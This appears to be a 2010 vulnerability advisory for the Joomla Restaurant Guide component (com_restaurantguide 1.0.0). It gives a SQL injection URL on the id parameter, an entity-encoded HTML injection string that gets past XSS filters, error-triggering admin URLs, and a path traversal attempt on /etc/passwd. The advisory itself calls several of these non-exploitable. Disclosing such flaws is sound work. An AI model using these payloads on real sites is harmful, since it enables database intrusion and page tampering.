# Exploit Title: Joomla Component com_restaurantguide Multiple Vulnerabilities
# Date: 18.09.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.0.0

# Tested on: Debian lenny, Apache2, MySQL 5, Joomla 1.5.x
# CVE :  
# Code : 


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>> General Information 
Advisory/Exploit Title = Joomla Component com_restaurantguide Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


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>> Product information
Name = Restaurant Guide
Vendor = Oh-Taek Im
Vendor Websites = http://www.photoindochina.com/, http://extensions.joomla.org/extensions/directory-a-documentation/thematic-directory/14054
Affected Version(s) = 1.0.0

 
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>> SQL Injection
index.php?option=com_restaurantguide&view=country&id='&Itemid=69
(id parameter is vulnerable)


>> HTML/JS/VBS Code Injection (all input fields, also in the admin backend)
It is possible to inject HTML/JS/VBS code into the document although XSS filters are active. Simply end the current HTML tag and convert your code into decimal HTMl code without semicolons:
"><A HREF="http://www.google.com./">injected</A>
(which is "><A HREF="http://www.google.com./">injected</A>)
The code doesn't get parsed, so it is not possible to exploit this weakness. However, including arbitrary plain text into the current website is possible. Dangerous! :D


>> Interesting stuff
a) Triggering various error messages in the admin panel is possible, e.g.:
administrator/index.php?option=com_restaurantguide&controller=restaurantitems&task=edit&cid[]=[try ' or -1 or an ID which does not exist]
Sometimes the code of the component gets displayed within the browser window when you try to trigger errors with different variables.

b) Playing around with the controller variable
administrator/index.php?option=com_restaurantguide&controller=../../../../../../../../../etc/passwd%00
(NOT a LFI vulnerability since the controller classes are defined in the source code, you just get different error messages.. nothing to exploit here..)


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>> Additional Information
Advisory/Exploit Published = 18.09.2010


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>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org


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